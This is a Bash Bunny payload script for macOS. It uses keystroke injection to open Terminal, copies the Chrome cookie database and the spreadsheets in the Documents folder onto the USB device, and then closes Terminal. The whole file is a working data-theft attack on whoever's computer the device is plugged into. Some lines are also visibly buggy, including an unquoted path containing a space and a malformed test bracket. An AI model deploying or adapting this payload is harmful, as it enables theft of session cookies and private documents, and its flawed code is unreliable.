Files
bashbunny-payloads/payloads/library/macinfograbber/payload.txt
2017-03-09 07:01:33 -05:00

50 lines
1.2 KiB
Bash

#!/bin/bash
#
# Title: Mac Info Grabber
# Author: kmakblob
# Version: 1.1
#
# Steaks cookies from chrome and documents from the documents folder (spreadsheets)
# then stashes them in /root/udisk/loot/MacLoot
#
# Red................Failed to get spreadsheets
# Purple.............Got some spreadsheets
# Green..............Finished
#
LED R
ATTACKMODE HID STORAGE
LOOTDIR=/root/udisk/loot/MacLoot
mkdir -p $LOOTDIR
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 8000
QUACK STRING mkdir -p /Volumes/BashBunny/$LOOTDIR/xlsx
QUACK ENTER
QUACK DELAY 500
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/$LOOTDIR/chromecookies.db
QUACK ENTER
QUACK DELAY 1000
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/$LOOTDIR/xlsx/
QUACK ENTER
QUACK DELAY 1000
QUACK GUI q
QUACK DELAY 500
QUACK ENTER
# Green LED for finished
LED G
files=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xls 2> /dev/null | wc -l)
files2=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xlsx 2> /dev/null | wc -l)
if [ "$files" != "0" -o "$files2" != "0"]
then
# Got spreadsheet files
LED R B
else
LED R
# No spread sheets
fi